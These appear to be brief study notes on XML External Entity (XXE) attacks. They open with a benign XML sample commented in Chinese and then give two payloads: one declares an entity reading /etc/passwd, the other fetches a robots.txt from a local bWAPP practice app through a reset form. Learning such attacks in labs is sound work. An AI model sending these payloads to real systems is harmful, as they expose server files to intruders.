XML External Entity attack

<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<girl age="18">　　<!--自定的根元素girl;age属性需要加引导-->
<hair>长头发</hair>　　<!--自定义的4个子元素，即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl>　　<!--根元素的闭合-->

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>&xxe;</xxe>

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
]>

<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>